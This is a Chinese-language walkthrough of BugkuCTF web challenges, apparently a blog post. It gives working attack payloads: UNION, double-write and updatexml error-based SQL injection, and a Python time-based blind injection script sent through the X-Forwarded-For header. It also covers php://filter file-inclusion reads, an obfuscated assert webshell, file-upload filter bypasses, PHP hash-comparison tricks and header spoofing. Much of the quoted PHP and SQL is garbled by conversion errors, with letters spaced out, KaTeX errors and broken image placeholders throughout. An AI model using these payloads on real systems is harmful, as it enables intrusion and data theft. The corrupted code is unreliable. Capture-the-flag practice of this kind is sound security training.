BUGkuCTF
(一)WEB
(1)web2
进入环境,首先看源码,在里面直接找到flag
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-97sg5F09-1593143273882)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image002.gif)]
(2)计算器
首先输入数字发现只能输入1个,所以F12去修改源码,将maxlength修改,然后填入正确数字即可出现flag
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-94rvWj0o-1593143273885)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image004.gif)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ou0ZIKoK-1593143273887)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image006.gif)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6vwcZ12J-1593143273890)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image008.gif)]
(3)$_get
看到题目就知道这是对http的请求方法,进入环境分析所给的Php代码,意思为当what=flag时,echo flag{}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Tws75xXF-1593143273893)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image010.gif)]
所以直接在地址栏添加(?what=flag)或者是抓包修改头提交都可以
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lpQeUUnL-1593143273894)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image012.gif)]
最后显示出flag
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5Clez75J-1593143273896)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image014.gif)]
(4)$_post
看题目和上一道是一样的也是对http的请求方法,但是post不能使用?what=flag这样的方式提交数据,所以使用hackbar进行提交
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QmFS6cEl-1593143273897)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image016.gif)]
(5)矛盾
发现代码里有is_numeric这个函数不认识,又百度这个函数的具体作用,这个函数的作用是检测输入的是否为数字或者字符串,所以构造payload绕过这个函数num=1e0.1(num既不能是数字字符,但是要等于1,我们可以想到用科学计数法表示数字1,既不是纯数字,其值又等于1)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oedJmn5Z-1593143273898)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image018.gif)]
修改提交显示flag。
(6)web3
页面除了弹框就没有其他的东西了,所以直接看源码,然后看见最后一行串字符像加密了,试试解密。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-l4DwPGvz-1593143273899)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image020.gif)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rsKOTd38-1593143273900)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image022.gif)]
发现flag
(7)域名解析
题目已经提示了,所以修改本地host文件
C:\Windows\System32\drivers\etc\hosts
添加 123.206.87.240 flag.baidu.com
最后访问flag.baidu.com就爆出flag了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yo6gK0iW-1593143273904)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image024.gif)]
(8)你必须让他停下
进来提示必须让页面停下,页面中的图片一直在刷新,先看源码,发现当有图片出现时源码会显示,所以使用burpsuite抓包,让页面暂停。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JZZhoB9X-1593143273907)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image026.gif)]
然后发现flag
*(10)变量1
代码审计题,代码最后一句有两个KaTeX parse error: Can't use function '$' in math mode at position 22: …变变量,能够改变某一变量的值如$̲args的值是另一个变量的变量…args就代表另一个变量。所以我们就给args赋值一个变量名,那么PHP的九大全局变量,一个一个试。 $_POST [用于接收post提交的数据] $_GET [用于获取url地址栏的参数数据] $_FILES [用于文件就收的处理img 最常见] $_COOKIE [用于获取与setCookie()中的name 值] $_SESSION [用于存储session的值或获取session中的值] $_REQUEST [具有get,post的功能,但比较慢] SERVER[是预定义服务器变量的一种,所有SERVER[是预定义服务器变量的一种,所有_SERVER [是预定义服务器变量的一种,所有_SERVER开头的都 $GLOBALS [一个包含了全部变量的全局组合数组] $_ENV [ 是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它],所以构造出payload(?args=GLOBALS)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mUDPe6Ui-1593143273910)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image028.gif)]
(11)web5
输入任何东西都是在看看,所以查看源码发现jother(jsfuck),用F12的控制台提交,显示出flag但是全部要大写
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1BJU5yYl-1593143273912)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image030.gif)]
“+[]”, //0 “+!![]”, //1 “!![]+!![]”, //2 “!![]+!![]+!![]”, //3 “!![]+!![]+!![]+!![]”, //4 “!![]+!![]+!![]+!![]+!![]”, //5 “!![]+!![]+!![]+!![]+!![]+!![]”, //6 “!![]+!![]+!![]+!![]+!![]+!![]+!![]”, //7 “!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]”, //8
(12)头等舱
查看源码什么都没有,所以burpsuite抓包分析,但是也没有内容,放进重发器里面跑找到flag
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-twNG0VU1-1593143273914)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image032.gif)]
(13)网站被黑
首先看源码和抓包都没有东西,分析一下内容和地址webshell,所以可能是有后台,用御剑跑一下。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6oCq7Xbv-1593143273915)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image034.gif)]
跑出一个shell.php,发现需要登陆,用爆破。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mttiIyyt-1593143273919)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image036.gif)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k8CxKxOD-1593143273920)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image038.gif)]
(14)管理员系统
随便输入了信息,ip被禁止访问,然后查看源代码发现有一串加密编码,解密后为test123所以可能是管理员密码,但是Ip无法访问所以修改X-Forwarded-For这个头实现绕过Ip限制。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IZiYhBMT-1593143273921)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image040.gif)]
(15)web4
进来就提示查看源代码,发现两串很长的加密编码,然后解密
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FhMU1GSo-1593143273922)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image042.gif)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-O1F4X6ly-1593143273923)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image044.gif)]
解码后发现这是一串代码。
在源码中第11行的eval函数将p1和p2还有%35%34%61%61%32拼接。
function checkSubmit(){var a=document.getElementById(“password”);if(“undefined”!=typeof a){if(“67d709b2b54aa2aa648cf6e87a7114f1”==a.value)return!0;alert(“Error”);a.focus();return!1}}document.getElementById(“levelQuest”).οnsubmit=checkSubmit;
在代码中发现一句67d709b2b54aa2aa648cf6e87a7114f1=a.value,所以将67d709b2b54aa2aa648cf6e87a7114f1输入登陆框,flag显示出来。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3fZX1lF8-1593143273924)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image046.gif)]
(16)flag在index里
文件包含利用漏洞+php协议
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字,filter,可以很容易想到这个协议可以用来过滤一些东西;
原理:利用php://filter协议读取文件
php://filter/read=convert.base64.encode/resource=index.php
这句话的意思是我们用base64编码的方式来读文件index.php;这时页面会显示出源文件index.php经过base64编码后的内容,然后经过base64解码就可以看到flag;
payload
http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
输入构造的payload后,显示很长一串加密字符串
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E13V8s7u-1593143273925)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image048.gif)]
base64解码后flag出现
(17)输入密码查看flag
进来随便输入密码,查看源码,什么都没有直接上burpsuite爆破,而且地址栏里也已经暗示了
(19)备份是个好习惯
题目已经指出了备份,所以直接index.php.bak就找到了备份文件,打开备份文件看代码,
include_once “flag.php”; ini_set(“display_errors”, 0); s t r = s t r s t r ( str = strstr( str=strstr(_SERVER[‘REQUEST_URI’], ‘?’); s t r = s u b s t r ( str = substr( str=substr(str,1); s t r = s t r r e p l a c e ( ‘ k e y ’ , ” , str = str_replace(‘key’,”, str=strreplace(‘key’,”,str);这里是关键,能从这里绕过代码限制 parse_str( s t r ) ; e c h o m d 5 ( str); echo md5( str);echomd5(key1); echo md5( k e y 2 ) ; i f ( m d 5 ( key2); if(md5( key2);if(md5(key1) == md5($key2) && $key1 !== $key2){ echo $flag.”取得flag”; } ?>
整段代码的意思是将get的两个参数中的key替换为空(这里可以用kkeyey绕过),然后对key1,key2的值进行md5加密,并进行比较,
如果md5加密的值一样而未加密的值不同,就输出flag,所以构造Payload:
http://123.206.87.240:8002/web16/?kkeyey1[]=123&kkeyey2[]=456
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
*(20)查看成绩单
(1)直接sqlmap跑,爆出skctf_flag数据库
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NnCdeFHf-1593143273926)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image050.gif)]
继续报表名
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zAinHAnd-1593143273927)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image052.gif)]
列名
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u8wCY3ci-1593143273928)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image054.gif)]
爆出flag
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kbtESlnQ-1593143273929)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image056.gif)]
(2)手工注入
首先判断注入点,看回响,使用order by
1’ order by 1# 1’ order by 2# 1’ order by 3# 1’ order by 4#1’ order by 5#在5时没有回响,所以字段为4
然后联合查询union爆数据库
id=-1’ union select 1,2,3,database()
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yClzAU8y-1593143273930)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image058.gif)]
id=-1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆出表名
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q0yOt8ZJ-1593143273932)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image060.gif)]
爆出列名
id=-1’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467# 要16进制绕过
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jcsUNetc-1593143273933)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image062.gif)]
爆出flag
id=-1’ union select 1,2,3,skctf_flag from fl4g#
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3u4MQrue-1593143273934)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image064.gif)]
*(21)秋名山车神
这一题需要写脚本
import requests import re //导入re库,作用是正则表达式 url = ‘http://123.206.87.240:8002/qiumingshan/’ //目标地址 se = requests.session() //保持请求参数 response = se.get(url) response.encoding = ‘UTF-8’ # print(response.text) r = ‘
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SVqNE2UW-1593143273936)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image066.gif)]
(22)速度要快点
这题就有点坑,刚开始看代码没有什么发现,于是去抓包看看,在重发器里发现了flag
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RwuXGU9w-1593143273937)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image068.gif)]
用base64解码提交,说flag错误试了很多次都错,所以想到提示需要快点,这flag一直在变,只能写脚本跑
import requests import base64 url=“http://120.24.86.145:8002/web6/” r=requests.session() headers=r.get(url).headers#因为flag在消息头里 mid=base64.b64decode(headers[‘flag’]) mid=mid.decode()#为了下一步用split不报错,b64decode后操作的对象是byte类型的字符串,而split函数要用str类型的 flag = base64.b64decode(mid.split(’:’)[1])#获得flag:后的值 data={‘margin’:flag} print (r.post(url,data).text)#post方法传上去
然后得到flag!!!!!!!
(23)cookie欺骗
首先看源码,没有可用信息,然后抓包分析也没有可用信息,看到地址栏中有一串加密编码,解密得到keys.txt,将index.php转换成base64,改变地址栏中Line的数值,源码每一次都不一样。
由此得知需要遍历
import requests a = 40 for i in range(a): url = ‘http://120.24.86.145:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw=’ % i r = requests.get(url) print r.text
跑出来的网页源代码
<?php error_reporting(0); $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); $line=isset($_GET['line'])?intval($_GET['line']):0; if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); $file_list = array( '0' =>'keys.txt', '1' =>'index.php', ); if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ $file_list[2]='keys.php'; } if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; } ?>由源码可知需要将keys.php 转为base64替换原来的index.php 然后将cookie设置为margin=margin,即可得到flag。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GDWXWxED-1593143273938)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image070.gif)]
(24)never give up
首先看源码,找到1p.html,将页面修改发现跳转到bugku.com的论坛,然后看跳转后的源码,发现一串加密编码,总共加密3次,第一次用url解码,然后base64,然后又用url解码,解码后发现一串代码
";if(!$_GET[‘id’]) { header(‘Location: hello.php?id=1’); exit(); } i d = id= id=_GET[‘id’]; a = a= a=_GET[‘a’]; b = b= b=_GET[‘b’]; if(stripos($a,’.’)) { echo ‘no no no no no no no’; return ; } d a t a = @ f i l e g e t c o n t e n t s ( data = @file_get_contents( data=@filegetcontents(a,‘r’); if($data==“bugku is a nice plateform!” and i d = = 0 a n d s t r l e n ( id==0 and strlen( id==0andstrlen(b)>5 and eregi(“111”.substr( b , 0 , 1 ) , " 1114 " ) a n d s u b s t r ( b,0,1),"1114") and substr( b,0,1),"1114")andsubstr(b,0,1)!=4) { require(“f4l2a3g.txt”); } else { print “never never never give up !!!”; } ?>
在代码中发现f412a3g.txt这个文件,访问文件得到flag
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cK3fh2D1-1593143273940)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image072.gif)]
(26)过狗一句话
解题方法是对目录读取,然后根据所给的提示获取flag
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>要点:scandir()函数、assert代码执行漏洞
构造payload:?s=print_r(scandir(’./’)) //print_r() 可以打印出复杂类型变量的值(如数组,对象)
!!!!!!!!flag被人删除!!!!!!!!!
我还以为是作者恶作剧故意写的!!!!!!!
*(27)字符?正则?
进来给的代码
<?php highlight_file('2.php'); $key='KEY{********************************}'; $IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match); if( $IM ){ die('key is: '.$key); } ?>preg_match (要搜索的模式,字符串,参数) 在字符串里搜索符合 要搜索的模式 的字符,并返回给参数。
trim(字符串,字符) 移除字符串两侧的空白字符或其他预定义字符。
“/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]]/i”
一。先看最外边的//i,//代表定界符,你限定的条件都在这个定界符里面,i是不区分大小写 二。来看 /key 首先就是得有key这三个字母,不一定是一开始就是key ?id=key 三。 /key.* 这里的.是可以匹配任何字符,所以你随便打个就行,我这里打的a,又因为后边有个 *(匹配前边的字母0次或者多次),所以你可以继续多打几个啊或者不打 ?id=keyltz 四。/key.*key, 继续分析,多加了个key, ?id=keyltzkey,继续往后 /key.*key.{4,7} 代表任意匹配一个字符并且出现4-7次,那就打四个a好了 (这个只要是有4个到7个重复字母就行) ?id=keyltzkeyllll 五。/key.*key.{4,7}key: 加上 key: ?id=keyltzkeyllllkey: 六:/key.*key.{4,7}key:/./ \代表了转义,所以/不在代表了界定符,直接看成/./ 所以/l/即可, ?id=keyltzkeyllllkey:/l/ 七:/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]] (.*key) => akey [a-z]代表随便一个小写字母,a就可以,后边那个是标点符号,比如, ?id=keyltzkeyllllkey:/l/lkeyl, ?id=keyltzkeyllllkey:/l/lkeyl,
最后构造的payload为:(?id=keyltzkeyllllkey:/l/lkeyl,)
(28)前女友(skctf)
根据链接找到代码
<?php if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; if($v1 != $v2 && md5($v1) == md5($v2)){ if(!strcmp($v3, $flag)){ //strcmp用于比较字符串的函数 echo $flag; } } } ?> /// strcmp() int strcmp ( string $str1 , string $str2 ) 参数 str1第一个字符串。str2第二个字符串。 如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0; 如果两者相等,返回 0。 ///分析代码得知,v1和v2两个值不能相等,但是经过md5加密后却要相等,且v3要和flag相等,所以可以可以通过PHP处理0e开头md5时hash字符串漏洞构造【https://blog.csdn.net/dyw_666666/article/details/82348564】
构造Payload:index.php?v1[]=QLTHNDT&v2[]=UTIPEZQ&v3[]=EEIZDOI
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k31YY8TG-1593143273944)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image074.gif)]
(29)login
根据提示得知(约束SQL注入的原理就是利用的约束条件,比如最长只能有15个字符的话,如果你输入的是abcdefghijklmnop(16位),那么保存在数据库里的就是abcdefghijklmno,那么别人用abcdefghijklmno注册一个用户名,就可以登陆。
1、sql处理字符串时(一般是在比较字符串时),会自动删去末尾多余的空格,这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。这一点,对于where和insert语句是成立的,对于like语句无效。
也就是说,"admin"和"admin "是等效的。因此,用where id="admin"查询和用where id="admin "查询的结果相同。
2、SQL中varchar(n)用于限制最大长度,若字符串长度大于n,则只截取前n个字符。如果用varchar(5)限制了insert查询的最大长度,则插入"admin"和"admin “,最终都会得到"admin”,因此查询"admin "得到的结果是"admin"的信息。
因此,可以利用这个漏洞来绕过。)
方法:若注册时已知admin这个用户名存在,则我们可以注册admin这个用户名,密码自定,然后登录时用刚刚注册的用户名和密码即可得到真实的想要的admin信息或权限。
(30)你从哪里来
页面显示are you from google,所以伪造从google访问过来的就可以得到flag,需要修改 Referer。
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer, 告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。 简而言之,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候, 一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器藉此可以获得一些信息用于处理。 比如从我主页上链接到一个朋友那里,他的服务器就能够从HTTP Referer中统计出每天有多少用户点击我主页上的链接访问他的网站。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CWLGDum7-1593143273945)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image076.gif)]
(31)md5 collision
打开网页提示input a 所以在地址输入?a,页面返回false,改为其他的则显示please input a,又试了试?a=1、a=2都返回false,且根据题目名字判断这题是MD5碰撞,所以随便找到常用的碰撞md5值就获得了flag。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QWS2Lr8K-1593143273949)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image078.gif)]
(32)程序员本地网站
根据提示,所以本题只需要修改http头为本地Ip就可获得flag
开启burpsuite,然后修改X-Forwarded-For:127.0.0.1
X-Forwarded-For: 简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5VPCLhKi-1593143273951)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image080.gif)]
(33)各种绕过
sha1碰撞?
<?phphighlight_file('flag.php'); $_GET['id'] = urldecode($_GET['id']); $flag = 'flag{xxxxxxxxxxxxxxxxxx}';if (isset($_GET['uname']) and isset($_POST['passwd'])) { if ($_GET['uname'] == $_POST['passwd']) print 'passwd can not be uname.'; else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) die('Flag: '.$flag); else print 'sorry!'}?>判断 uname 和 passwd 是否相等 之后 判断 sha1 加密过的 uname 和 pass 是否相等以及 id 是否等于 margin
1. get方式提交uname 和 id 值 ,post方式提交passwd值2. uname和passwd的哈希值相同3. id == “margin”解决1 get和post提交,方式1:火狐的HackBar,方式:python程序 。。。2 把uname和passwd定义成数组,数组的哈希值相同3 url传入时,令id=margin
使用hackbar
构造Payload: ?unmae[]=a&id[]=margin post data:passwd[]=b
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VIxEPuaZ-1593143273952)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image082.gif)]
(35)web8
页面提示txt,访问flag.txt,出现内容flags
<?php extract($_GET); if (!empty($ac)) { $f = trim(file_get_contents($fn)); if ($ac === $f) { echo "This is flag:" ." $flag
"; } else { echo "sorry!
"; } } ?>分析代码,有两个变量&ac和&fn
file_get_contents( f n ) : f i l e g e t c o n t e n t s 功 能 是 从 文 件 名 为 “ fn):file_get_contents功能是从文件名为“ fn):filegetcontents功能是从文件名为“fn”的文件中读取数据,但是当$fn的值为“php://input”,它会接受并返回post的值
又根据提示页面的flags,所以可以使 a c 值 为 f l a g s , ac值为flags, ac值为flags,fn值为flag.txt,使 a c 和 ac和 ac和f相等
然后构造payload: ?ac=flags&fn=flag.txt
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DqnxdxTk-1593143273954)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image084.gif)]
(36)细心
首先看提示,变成admin,然后在robots.txt中找到一串代码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-guQz3S5e-1593143273955)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image086.gif)]
根据提示admin,构造Payload:?x=admin
(37)求getshell
后缀黑名单检测和类型检测
根据大佬的提示这题需要绕过三个地方
1、请求头部的 Content-Type:大小写绕过
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-v9djMtSf-1593143273956)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image088.gif)]
2、文件名后缀绕过:php5
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3BlS7yH4-1593143273957)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image090.gif)]
3、请求数据的Content-Type:image/png
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IPKiLa3m-1593143273959)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image092.gif)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yw0dnlqE-1593143273961)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image094.gif)]
*(38)insert into注入
题目给出了源码,
时间盲注,XXF,insert into 注入
error_reporting(0); function getIp(){ i p = ′ ′ ; i f ( i s s e t ( ip = '';if(isset( ip=′′;if(isset(_SERVER[‘HTTP_X_FORWARDED_FOR’])){$ip = KaTeX parse error: Double subscript at position 16: _SERVER['HTTP_X_̲FORWARDED_FOR']…ip = KaTeX parse error: Expected 'EOF', got '}' at position 24: …'REMOTE_ADDR'];}̲ip_arr = explode(’,’, $ip);return KaTeX parse error: Expected 'EOF', got '}' at position 11: ip_arr[0];}̲host=“localhost”; u s e r = " " ; user=""; user="";pass=""; d b = " " ; db=""; db="";connect = mysql_connect($host, $user, p a s s ) o r d i e ( " U n a b l e t o c o n n e c t " ) ; m y s q l s e l e c t d b ( pass) or die("Unable to connect");mysql_select_db( pass)ordie("Unabletoconnect");mysqlselectdb(db) or die(“Unable to select database”); i p = g e t I p ( ) ; e c h o ′ y o u r i p i s : ′ . ip = getIp();echo 'your ip is :'. ip=getIp();echo′youripis:′.ip; s q l = " i n s e r t i n t o c l i e n t i p ( i p ) v a l u e s ( ′ sql="insert into client_ip (ip) values (' sql="insertintoclientip(ip)values(′ip’)";
注入点为http头的X-Forwaded-For,但是这里的逗号被过滤,在过滤了逗号的情况下,我们就不能使用if语句了,在mysql中与if有相同功效的是
select case when (条件) then 代码1 else 代码 2 end;
而且由于逗号,被过滤,我们就不能使用substr、substring了,但我们可以使用:from 1 for 1,所以最终payload为:
127.0.0.1’+(select case when substr((select flag from flag) from 1 for 1)=‘a’ then sleep(5) else 0 end))– +
python脚本来跑flag:
import requests import sys # 基于时间的盲注,过滤了逗号 , sql = “127.0.0.1’+(select case when substr((select flag from flag) from {0} for 1)=’{1}’ then sleep(5) else 0 end))-- +” url = ‘http://123.206.87.240:8002/web15/’ flag = ‘’ for i in range(1, 40): print(‘正在猜测:’, str(i)) for ch in range(32, 129): if ch == 128: sys.exit(0) sqli = sql.format(i, chr(ch)) # print(sqli) header = { ‘X-Forwarded-For’: sqli } try: html = requests.get(url, headers=header, timeout=3) except: flag += chr(ch) print(flag) break
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mX0VmVOH-1593143273962)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image096.gif)]
最后几个猜测出的都是同一个,所以flag出来了
*(40)多次
要点:SQL注入绕过、双写绕过、报错注入
进入页面地址栏中有id=1,所以试了6个数,在第5个给出提示使用注入。
判断是否存在注入:id=1后面加单引号会报错,后面加–+注释返回正常,确定存在SQL注入
?id=1’or 1=1–+ 也报错,可能存在过滤,尝试双写绕过,?id=1’oorr 1=1–+ 返回正常
然后测试有什么被过滤,get一个新技能(异或注入,两个条件相同(同真或同假)即为假)
?id=1’^(length(‘union’)!=0)–+
如果返回页面显示正常,那就证明length(‘union’)==0的,也就是union被过滤了
同理测试出被过滤的字符串有:and,or,union,select
都用双写来绕过,payload如下:
?id=-1’ ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()–+
爆表
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pqjgbj7N-1593143273962)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image098.gif)]
爆字段
?id=-1’ ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_name=‘flag1’–+
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-K7yRNo7N-1593143273963)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image100.gif)]
爆数据
http://120.24.86.145:9004/1ndex.php?id=-1’ ununionion seselectlect 1, group_concat(flag1) from flag1–+
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H57LpjuT-1593143273964)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image102.gif)]
这里提交不对,所以换个字段继续爆,然后进入下一关
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PLKsVrcy-1593143273965)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image104.gif)]
根据大佬提示这里利用 updatexml() 函数报错注入
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的 concat() 函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’
所以构造payload:
# 查数据表 http://123.206.87.240:9004/Once_More.php?id=1’ and updatexml(1,concat(’~’,(select group_concat(table_name) from information_schema.tables where table_schema=database()),’~’),3) %23
